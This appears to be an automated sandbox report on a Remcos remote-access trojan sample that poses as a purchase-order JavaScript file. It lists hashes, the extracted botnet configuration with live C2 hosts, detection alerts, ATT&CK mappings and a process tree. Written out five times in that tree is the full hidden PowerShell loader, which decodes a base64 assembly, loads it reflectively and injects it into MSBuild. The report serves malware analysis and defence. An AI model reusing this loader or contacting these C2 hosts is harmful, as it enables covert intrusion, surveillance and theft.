remcos | 3dab962fc509e18e91291dc8a480e0f58053e46214bdd134e3d6112f663e86d8

Analysis

max time kernel
299s
max time network
288s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
25/08/2026, 15:01

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General

Target
New Purchase Order 4585123535 Printout.js
Size 33.4MB
Sample260825-sd947atgla
SHA256 3dab962fc509e18e91291dc8a480e0f58053e46214bdd134e3d6112f663e86d8
MD5 004575cd0efe29a0fe84c29fb7af218c
SHA1 c46ba9aa0778f2c485a292a649985df57013eb82
SHA512 691f2c98f70da794fa04345e787608fd9b4936f7f73f9233bfa8feef61b757f1d7f109efc1267438b68f00606d48712e079a055953d6807d86a2d77417c2ca03
SSDEEP 1536:gB7iT26pXMBJRuk2I7I/hjLBsgXWLtXUrqJPjKE4s7cU:Mqrm
TLSH
T12D7739E6DA7C46FE9001BE1F6C786C2F1A656E12E4A0C3C7996BC5CBAC49C58241713F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

newpat4 collection discovery execution remcos persistence rat suricata

Malware Config

Extracted

Family

remcos

Version

7.2.6 Pro

Botnet

NewPat4

newpat4.duckdns.org:61845
newpat4bk.duckdns.org:55184

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-DWIPKH
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Family: Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Suricata alert: REMCOS RAT Malware Inbound C2 Communication 14 IoCs

Network activity triggered a Suricata alert

suricata remcos

flow	pid	Process
16	4448	MSBuild.exe
16	4448	MSBuild.exe
16	4448	MSBuild.exe
16	4448	MSBuild.exe
16	4448	MSBuild.exe
16	4448	MSBuild.exe
16	4448	MSBuild.exe
16	4448	MSBuild.exe
16	4448	MSBuild.exe
16	4448	MSBuild.exe
49	4448	MSBuild.exe
49	4448	MSBuild.exe
49	4448	MSBuild.exe
49	4448	MSBuild.exe

Suricata alert: REMCOS RAT Malware Outbound C2 Communication 20 IoCs

Network activity triggered a Suricata alert

suricata remcos

flow	pid	Process
17	4448	MSBuild.exe
17	4448	MSBuild.exe
16	4448	MSBuild.exe
16	4448	MSBuild.exe
16	4448	MSBuild.exe
16	4448	MSBuild.exe
16	4448	MSBuild.exe
16	4448	MSBuild.exe
16	4448	MSBuild.exe
16	4448	MSBuild.exe
16	4448	MSBuild.exe
49	4448	MSBuild.exe
49	4448	MSBuild.exe
49	4448	MSBuild.exe
49	4448	MSBuild.exe
49	4448	MSBuild.exe
49	4448	MSBuild.exe
49	4448	MSBuild.exe
49	4448	MSBuild.exe
49	4448	MSBuild.exe

Process spawned unexpected child process 5 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1732	2144	powershell.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4528	2144	powershell.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4988	2144	powershell.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3760	2144	powershell.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4288	2144	powershell.exe	87

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
11	1732	powershell.exe
37	4528	powershell.exe
44	4988	powershell.exe
45	3760	powershell.exe
50	4288	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3760	powershell.exe
4288	powershell.exe
1732	powershell.exe
4528	powershell.exe
4988	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	MSBuild.exe
Key enumerated	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	MSBuild.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 1732 set thread context of 4448	1732	powershell.exe	93
PID 4528 set thread context of 1596	4528	powershell.exe	105
PID 4988 set thread context of 3008	4988	powershell.exe	110
PID 3760 set thread context of 2136	3760	powershell.exe	114
PID 4288 set thread context of 2152	4288	powershell.exe	118

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
1732	powershell.exe
1732	powershell.exe
1732	powershell.exe
1732	powershell.exe
4528	powershell.exe
4528	powershell.exe
4988	powershell.exe
4988	powershell.exe
4988	powershell.exe
4988	powershell.exe
3760	powershell.exe
3760	powershell.exe
4288	powershell.exe
4288	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1732	powershell.exe
Token: SeDebugPrivilege	4528	powershell.exe
Token: SeDebugPrivilege	4988	powershell.exe
Token: SeDebugPrivilege	3760	powershell.exe
Token: SeDebugPrivilege	4288	powershell.exe

Suspicious use of WriteProcessMemory 37 IoCs

description	pid	Process	procid_target
PID 1732 wrote to memory of 3948	1732	powershell.exe	92
PID 1732 wrote to memory of 4448	1732	powershell.exe	93
PID 1732 wrote to memory of 4448	1732	powershell.exe	93
PID 1732 wrote to memory of 4448	1732	powershell.exe	93
PID 1732 wrote to memory of 4448	1732	powershell.exe	93
PID 1732 wrote to memory of 4448	1732	powershell.exe	93
PID 1732 wrote to memory of 4448	1732	powershell.exe	93
PID 1732 wrote to memory of 4448	1732	powershell.exe	93
PID 4528 wrote to memory of 1596	4528	powershell.exe	105
PID 4528 wrote to memory of 1596	4528	powershell.exe	105
PID 4528 wrote to memory of 1596	4528	powershell.exe	105
PID 4528 wrote to memory of 1596	4528	powershell.exe	105
PID 4528 wrote to memory of 1596	4528	powershell.exe	105
PID 4528 wrote to memory of 1596	4528	powershell.exe	105
PID 4528 wrote to memory of 1596	4528	powershell.exe	105
PID 4988 wrote to memory of 980	4988	powershell.exe	109
PID 4988 wrote to memory of 3008	4988	powershell.exe	110
PID 4988 wrote to memory of 3008	4988	powershell.exe	110
PID 4988 wrote to memory of 3008	4988	powershell.exe	110
PID 4988 wrote to memory of 3008	4988	powershell.exe	110
PID 4988 wrote to memory of 3008	4988	powershell.exe	110
PID 4988 wrote to memory of 3008	4988	powershell.exe	110
PID 4988 wrote to memory of 3008	4988	powershell.exe	110
PID 3760 wrote to memory of 2136	3760	powershell.exe	114
PID 3760 wrote to memory of 2136	3760	powershell.exe	114
PID 3760 wrote to memory of 2136	3760	powershell.exe	114
PID 3760 wrote to memory of 2136	3760	powershell.exe	114
PID 3760 wrote to memory of 2136	3760	powershell.exe	114
PID 3760 wrote to memory of 2136	3760	powershell.exe	114
PID 3760 wrote to memory of 2136	3760	powershell.exe	114
PID 4288 wrote to memory of 2152	4288	powershell.exe	118
PID 4288 wrote to memory of 2152	4288	powershell.exe	118
PID 4288 wrote to memory of 2152	4288	powershell.exe	118
PID 4288 wrote to memory of 2152	4288	powershell.exe	118
PID 4288 wrote to memory of 2152	4288	powershell.exe	118
PID 4288 wrote to memory of 2152	4288	powershell.exe	118
PID 4288 wrote to memory of 2152	4288	powershell.exe	118

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key enumerated	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	MSBuild.exe

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\New Purchase Order 4585123535 Printout.js"
1⤵
PID:2168

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('zDtpQUVoLdg2aKrIKTFYix9nRdCxuyvud1R0QZPZEItvi/7I9gKGO5vHr4H/fM/wSr5qtkkNbJrObuu2i9Sjyg==','ur4PF05Y51H0/YF0Zj0HxiBEyfLlunR80wWsqaCzn30=','ritFkuAFqlw/hDHgAIRYayc33y6r/CzylwPtwRPbnFgjbbdwfTU5H6GXHpwvQEi3','80cLTtc6cSxtubFHlIzrdKm3O+cHVhCZ29jMR+ySn0g=','81xSafGtYaJXroBTJTVirYKymqUWTIw/aBuc62R3aIs=','','6EMB9uQJGIeqKq/IcewNtOr07/XCnFnyuqNMHuIFLQw=','pPfIvlAArnctGxx8QJ/ZhgUzjRUzViTPaMyt/O6sChY=','WpWHtSGCrs9OBxYJopfs3ClhVRn6POnSVjCeXninUO4=','xsLH116UGPTbb1R1FHEWUUBSwQ7JQDrSthD6gdQw7l+EVkQQ4MXte1Q8ywAk51vs','Tag2a0G8iggTS4gw5Z00MlrJhnQFABvkUCucsSnGr70=','q5Gda8LnCO+hn5ztqC9SgVufELZPsf1SKDYsmF9KdPI=','bh0iHFwuzNxS9NU1gMATON2XjyeYybtpYUEvTnhB/gY=','J65NCOFJaw3eK9zwuKfmtTlVcDgEaNVpGEGjcWhHrA4=','AwjNuQhYp7VJunoaL7Q2F5BWcY0CA4ioSbbej82BJd4=','lR1R6aJMGPENSU3WEYzAEiRex/h2FzJvbre8TVisYyQ=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1732
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  PID:3948
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  - Suricata alert: REMCOS RAT Malware Inbound C2 Communication
  - Suricata alert: REMCOS RAT Malware Outbound C2 Communication
  - Accesses Microsoft Outlook profiles
  - System Location Discovery: System Language Discovery
  - outlook_office_path
  PID:4448

C:\Windows\system32\wscript.exe
wscript.exe
1⤵
PID:2660

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Public\Downloads\HVguJrYiNU.js
1⤵
PID:2576

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('zDtpQUVoLdg2aKrIKTFYix9nRdCxuyvud1R0QZPZEItvi/7I9gKGO5vHr4H/fM/wSr5qtkkNbJrObuu2i9Sjyg==','ur4PF05Y51H0/YF0Zj0HxiBEyfLlunR80wWsqaCzn30=','ritFkuAFqlw/hDHgAIRYayc33y6r/CzylwPtwRPbnFgjbbdwfTU5H6GXHpwvQEi3','80cLTtc6cSxtubFHlIzrdKm3O+cHVhCZ29jMR+ySn0g=','81xSafGtYaJXroBTJTVirYKymqUWTIw/aBuc62R3aIs=','','6EMB9uQJGIeqKq/IcewNtOr07/XCnFnyuqNMHuIFLQw=','pPfIvlAArnctGxx8QJ/ZhgUzjRUzViTPaMyt/O6sChY=','WpWHtSGCrs9OBxYJopfs3ClhVRn6POnSVjCeXninUO4=','xsLH116UGPTbb1R1FHEWUUBSwQ7JQDrSthD6gdQw7l+EVkQQ4MXte1Q8ywAk51vs','Tag2a0G8iggTS4gw5Z00MlrJhnQFABvkUCucsSnGr70=','q5Gda8LnCO+hn5ztqC9SgVufELZPsf1SKDYsmF9KdPI=','bh0iHFwuzNxS9NU1gMATON2XjyeYybtpYUEvTnhB/gY=','J65NCOFJaw3eK9zwuKfmtTlVcDgEaNVpGEGjcWhHrA4=','AwjNuQhYp7VJunoaL7Q2F5BWcY0CA4ioSbbej82BJd4=','lR1R6aJMGPENSU3WEYzAEiRex/h2FzJvbre8TVisYyQ=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4528
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  PID:1596

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Public\Downloads\HVguJrYiNU.js
1⤵
PID:4552

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('zDtpQUVoLdg2aKrIKTFYix9nRdCxuyvud1R0QZPZEItvi/7I9gKGO5vHr4H/fM/wSr5qtkkNbJrObuu2i9Sjyg==','ur4PF05Y51H0/YF0Zj0HxiBEyfLlunR80wWsqaCzn30=','ritFkuAFqlw/hDHgAIRYayc33y6r/CzylwPtwRPbnFgjbbdwfTU5H6GXHpwvQEi3','80cLTtc6cSxtubFHlIzrdKm3O+cHVhCZ29jMR+ySn0g=','81xSafGtYaJXroBTJTVirYKymqUWTIw/aBuc62R3aIs=','','6EMB9uQJGIeqKq/IcewNtOr07/XCnFnyuqNMHuIFLQw=','pPfIvlAArnctGxx8QJ/ZhgUzjRUzViTPaMyt/O6sChY=','WpWHtSGCrs9OBxYJopfs3ClhVRn6POnSVjCeXninUO4=','xsLH116UGPTbb1R1FHEWUUBSwQ7JQDrSthD6gdQw7l+EVkQQ4MXte1Q8ywAk51vs','Tag2a0G8iggTS4gw5Z00MlrJhnQFABvkUCucsSnGr70=','q5Gda8LnCO+hn5ztqC9SgVufELZPsf1SKDYsmF9KdPI=','bh0iHFwuzNxS9NU1gMATON2XjyeYybtpYUEvTnhB/gY=','J65NCOFJaw3eK9zwuKfmtTlVcDgEaNVpGEGjcWhHrA4=','AwjNuQhYp7VJunoaL7Q2F5BWcY0CA4ioSbbej82BJd4=','lR1R6aJMGPENSU3WEYzAEiRex/h2FzJvbre8TVisYyQ=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4988
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  PID:980
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  PID:3008

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Public\Downloads\HVguJrYiNU.js
1⤵
PID:900

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('zDtpQUVoLdg2aKrIKTFYix9nRdCxuyvud1R0QZPZEItvi/7I9gKGO5vHr4H/fM/wSr5qtkkNbJrObuu2i9Sjyg==','ur4PF05Y51H0/YF0Zj0HxiBEyfLlunR80wWsqaCzn30=','ritFkuAFqlw/hDHgAIRYayc33y6r/CzylwPtwRPbnFgjbbdwfTU5H6GXHpwvQEi3','80cLTtc6cSxtubFHlIzrdKm3O+cHVhCZ29jMR+ySn0g=','81xSafGtYaJXroBTJTVirYKymqUWTIw/aBuc62R3aIs=','','6EMB9uQJGIeqKq/IcewNtOr07/XCnFnyuqNMHuIFLQw=','pPfIvlAArnctGxx8QJ/ZhgUzjRUzViTPaMyt/O6sChY=','WpWHtSGCrs9OBxYJopfs3ClhVRn6POnSVjCeXninUO4=','xsLH116UGPTbb1R1FHEWUUBSwQ7JQDrSthD6gdQw7l+EVkQQ4MXte1Q8ywAk51vs','Tag2a0G8iggTS4gw5Z00MlrJhnQFABvkUCucsSnGr70=','q5Gda8LnCO+hn5ztqC9SgVufELZPsf1SKDYsmF9KdPI=','bh0iHFwuzNxS9NU1gMATON2XjyeYybtpYUEvTnhB/gY=','J65NCOFJaw3eK9zwuKfmtTlVcDgEaNVpGEGjcWhHrA4=','AwjNuQhYp7VJunoaL7Q2F5BWcY0CA4ioSbbej82BJd4=','lR1R6aJMGPENSU3WEYzAEiRex/h2FzJvbre8TVisYyQ=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3760
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  PID:2136

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Public\Downloads\HVguJrYiNU.js
1⤵
PID:4420

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('zDtpQUVoLdg2aKrIKTFYix9nRdCxuyvud1R0QZPZEItvi/7I9gKGO5vHr4H/fM/wSr5qtkkNbJrObuu2i9Sjyg==','ur4PF05Y51H0/YF0Zj0HxiBEyfLlunR80wWsqaCzn30=','ritFkuAFqlw/hDHgAIRYayc33y6r/CzylwPtwRPbnFgjbbdwfTU5H6GXHpwvQEi3','80cLTtc6cSxtubFHlIzrdKm3O+cHVhCZ29jMR+ySn0g=','81xSafGtYaJXroBTJTVirYKymqUWTIw/aBuc62R3aIs=','','6EMB9uQJGIeqKq/IcewNtOr07/XCnFnyuqNMHuIFLQw=','pPfIvlAArnctGxx8QJ/ZhgUzjRUzViTPaMyt/O6sChY=','WpWHtSGCrs9OBxYJopfs3ClhVRn6POnSVjCeXninUO4=','xsLH116UGPTbb1R1FHEWUUBSwQ7JQDrSthD6gdQw7l+EVkQQ4MXte1Q8ywAk51vs','Tag2a0G8iggTS4gw5Z00MlrJhnQFABvkUCucsSnGr70=','q5Gda8LnCO+hn5ztqC9SgVufELZPsf1SKDYsmF9KdPI=','bh0iHFwuzNxS9NU1gMATON2XjyeYybtpYUEvTnhB/gY=','J65NCOFJaw3eK9zwuKfmtTlVcDgEaNVpGEGjcWhHrA4=','AwjNuQhYp7VJunoaL7Q2F5BWcY0CA4ioSbbej82BJd4=','lR1R6aJMGPENSU3WEYzAEiRex/h2FzJvbre8TVisYyQ=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4288
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  PID:2152

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

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powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 9c0055938648d76251bfef67d44ac0e165a019ed030c0340a260b6b36d4a3f60
MD5 c92a19e2aa3d54fd422b3ecec69bde47
SHA1 6d4c693a2a4d72f3c41b08c04975922e4cf7b0e9
SHA512 e2d4fc1a78faee4f00ba17d502e447b5c7237ebd25f2863b4358b591db05071211118fa44c196d6e0a86633904e6d61daa2645b52cb901755b5ea8b2c079f887
TLSH
T1F051EE323375B1D8C9167F071D68198053BF4396FA94AF0CB698625ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 7c4b6c6ec187fe62f85d8e23ee1414e59acc988266f982e2c511c8d7d3f8a674
MD5 0acddbd579c70a9999695daa6f7af084
SHA1 f562cd6f06a892720a636926f0b53c0e6dff1903
SHA512 b2618b72507e155478a9fb3adfce00855f175c9ecb0b29d16924571d44b79d02a7c1bc3f48e61ce0d4609f257121eb279008a792d82affe37e465e082c715c70
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
MD5 446dd1cf97eaba21cf14d03aebc79f27
SHA1 36e4cc7367e0c7b40f4a8ace272941ea46373799
SHA512 a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7
MD5 SHA1 SHA512

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__PSScriptPolicyTest_2ef0pryx.32h.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2ef0pryx.32h.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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HVguJrYiNU.js

Path C:\Users\Public\Downloads\HVguJrYiNU.js
Size 33.4MB
SHA256 3dab962fc509e18e91291dc8a480e0f58053e46214bdd134e3d6112f663e86d8
MD5 004575cd0efe29a0fe84c29fb7af218c
SHA1 c46ba9aa0778f2c485a292a649985df57013eb82
SHA512 691f2c98f70da794fa04345e787608fd9b4936f7f73f9233bfa8feef61b757f1d7f109efc1267438b68f00606d48712e079a055953d6807d86a2d77417c2ca03
SSDEEP 1536:gB7iT26pXMBJRuk2I7I/hjLBsgXWLtXUrqJPjKE4s7cU:Mqrm
TLSH
T12D7739E6DA7C46FE9001BE1F6C786C2F1A656E12E4A0C3C7996BC5CBAC49C58241713F
MD5 SHA1 SHA512 SSDEEP TLSH

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memory/1596-56-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/1732-15-0x000001FDDCA60000-0x000001FDDCA70000-memory.dmp

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memory/1732-14-0x000001FDDCA60000-0x000001FDDCA70000-memory.dmp

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memory/1732-1-0x000001FDDCA60000-0x000001FDDCA70000-memory.dmp

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memory/1732-19-0x000001FDF7CA0000-0x000001FDF7DA2000-memory.dmp

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memory/1732-13-0x000001FDDCA60000-0x000001FDDCA70000-memory.dmp

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memory/1732-12-0x000001FDDADD0000-0x000001FDDADDA000-memory.dmp

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memory/1732-11-0x000001FDDAD00000-0x000001FDDADCE000-memory.dmp

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memory/1732-10-0x000001FDDD030000-0x000001FDDD052000-memory.dmp

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memory/1732-2-0x000001FDDCA60000-0x000001FDDCA70000-memory.dmp

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memory/2136-85-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/2152-104-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/3008-71-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/4448-41-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/4448-59-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/4448-32-0x0000000010000000-0x00000000100F7000-memory.dmp

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memory/4448-31-0x0000000010000000-0x00000000100F7000-memory.dmp

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memory/4448-39-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/4448-40-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/4448-27-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/4448-42-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/4448-43-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/4448-26-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/4448-25-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/4448-24-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/4448-23-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/4448-105-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/4448-58-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/4448-28-0x0000000010000000-0x00000000100F7000-memory.dmp

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memory/4448-22-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/4448-21-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/4448-73-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/4448-20-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/4448-86-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/4448-87-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/4448-88-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/4448-89-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/4448-90-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/4448-91-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/4448-92-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/4448-93-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/4448-16-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/4448-106-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/4528-57-0x000001CF3C390000-0x000001CF3C4DE000-memory.dmp

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